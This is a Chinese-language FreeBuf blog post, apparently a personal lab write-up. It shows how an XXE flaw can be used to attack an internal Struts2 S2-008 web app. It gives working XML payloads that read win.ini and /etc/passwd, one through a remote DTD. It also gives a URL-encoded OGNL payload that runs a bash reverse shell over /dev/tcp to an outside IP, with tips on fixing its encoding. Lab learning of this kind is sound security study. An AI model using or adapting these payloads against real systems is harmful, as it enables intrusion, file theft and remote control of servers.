freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XXE攻击内网web应用
nYangb 2024-04-25 10:32:53 95644

最近在巩固XXE漏洞的利用技巧,看过好多文章都提到了攻击内网Struts2,并贴上了payload(截图),但是都没给出response结果。在艰难的手码payload后也未能复现。于是,经过了一天一夜的思考,终于悟了。

环境准备:

1. xxe漏洞环境:使用大神们准备好的xxe-lab(https://github.com/c0ny1/xxe-lab)

2. 模拟内网struts2环境:开源Vulhub (https://vulhub.org/#/environments/struts2/s2-008/)

利用文件读取测试xxe漏洞,成功。

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<user><username>&xxe;</username><password>null</password></user>

1714008330_6629b10acd79da0d531ef.png!small

下面进入正题

经过测试,以下payload可正常执行,并成功反弹shell(只需要修改请求地址和接收反弹shell地址)(该payload是st-008漏洞的)

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "http://192.168.30.165:8080/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d@java.lang.Runtime@getRuntime().exec(%22%2Fbin%2Fbash%20-c%20bash%24IFS%249-i%3E%26%2Fdev%2Ftcp%2F192.168.1.2%2F10803%3C%261%22).getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew%20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5B50000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()"> ]>
<user><username>&xxe;</username>

1714008330_6629b10ae9b0423496b18.png!small

以下是在测试中的思考,觉得蛮有意思,分享一下心得:

首先,就是payload自身问题,网上各种文章中的payload在测试环境中都不能复现。

利用Vulhub给的paload也不能成功。想着高难度payload完不成,简单的总行吧,于是我看个struts2历代漏洞,选了一个通过GET方式请求就可成功的(S2-008),当然payload也是网上搜索的(毕竟我是个小菜鸡)。

但是将payload插入xxe中后,提示出错(DOMDocument::loadXML(): Invalid URI);

又联想到远程加载DTD完成攻击,一时间不禁怀疑,是不是只能利用http协议进行端口探测?,或者xxe漏洞攻击http只能加载DTD?

############加载远程dtd完成文件读取:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://192.168.70.81/xxe.dtd" >
%d;
]>
<x>&xxe;</x>

192.168.70.81xxe.dtd文件内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >

在一个寂寞的夜晚,夜深人静时候又思考:即使是只能加载DTD,也肯定是发起的http请求。那么攻击内网web也是http请求,原理应该是行得通吧?嗯一定行得通!(相信自己)

第二天早上,迫不及待的开启了验证模式:

自己先起一个simplehttp服务(python3 -m http.server 10802),点击send,果然是请求未成功,ok思路来了。我一段一段的测试payload:1714010914_6629bb2247091b26d5890.png!small

嗯,,这段http请求可以成功,

1714011114_6629bbea2260109f640ed.png!small

继续增加字段,未成功,那么,应该就是后增加字段出现问题了。(能有什么问题呢?肯定是编码咯)

1714011111_6629bbe724c5f2e88a479.png!small1714011530_6629bd8a406d247859710.png!small

经过我一点一点的对payload进行url编码,保证http请求可以正常发起后,修改请求地址反弹shell,完成:

1714011530_6629bd8a77eb0583fd9e0.png!small

经验分享,网上文章还是需要甄别的学习,通过百度搜索到的大多都是一篇文章搬来搬去,最终有的文章连图片都显示不出来。

在复现、学习时候,一定要亲自上手练习,毕竟实战中总会遇到各种各样的问题,要通过练习解决遇到的问题(例如编码问题,多了空格,http请求头少参数,多了或少了符号等,),才能再实战中快速调整。

漏洞复现要思考原理,网络基础也很重要呦。

# 内网渗透 # 漏洞分析 # XXE实战
本文为 nYangb 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
nYangb LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者